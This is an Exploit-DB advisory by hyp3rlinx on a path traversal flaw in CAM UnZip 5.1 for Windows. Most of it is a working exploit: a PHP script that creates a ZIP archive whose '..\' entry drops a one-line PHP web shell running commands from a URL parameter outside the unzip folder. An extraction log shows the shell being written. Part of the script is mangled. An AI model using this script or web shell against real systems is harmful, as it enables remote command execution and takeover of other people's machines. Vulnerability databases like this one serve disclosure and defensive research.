CAM UnZip 5.1 - Archive Path Traversal

ID EDB-ID:39680
Type exploitdb
Reporter hyp3rlinx
Modified 2016-04-11T00:00:00


CAM UnZip 5.1 - Archive Path Traversal. Local exploit for windows platform

                                            [+] Credits: hyp3rlinx

[+] Website:

[+] Source:


CAM UnZip v5.1

Vulnerability Type:
Archive Path Traversal

CVE Reference:

Vulnerability Details:

CAM UnZip fails to check that the paths of the files in the archive do not
engage in path traversal when uncompressing the archive files.
specially crafted files in the archive containing '..\' in file name can
overwrite files on the filesystem by backtracking or allow attackers
to place malicious files on system outside of the target unzip directory
which may lead to remote command execution exploits etc...

Tested successfully Windows 7

Exploit code(s):

malicious archive script...

#CAM UnZip v5.1
#directory traversal to remote code execution exploit

if($argc<2){echo "Usage: <filename>";exit();}

$zip = new ZipArchive();
$res = $zip->open("$", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php
exec($_GET["cmd"]); ?>');

echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";



Creating Folder: C:\Test\BOZO

Extracting Files From: C:\Test\

Unzipped file C:\Test\BOZO\..\..\..\..\..\..\..\..\RCE.php of size 28

1 file was Extracted.


Exploitation Technique:

Severity Level:

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.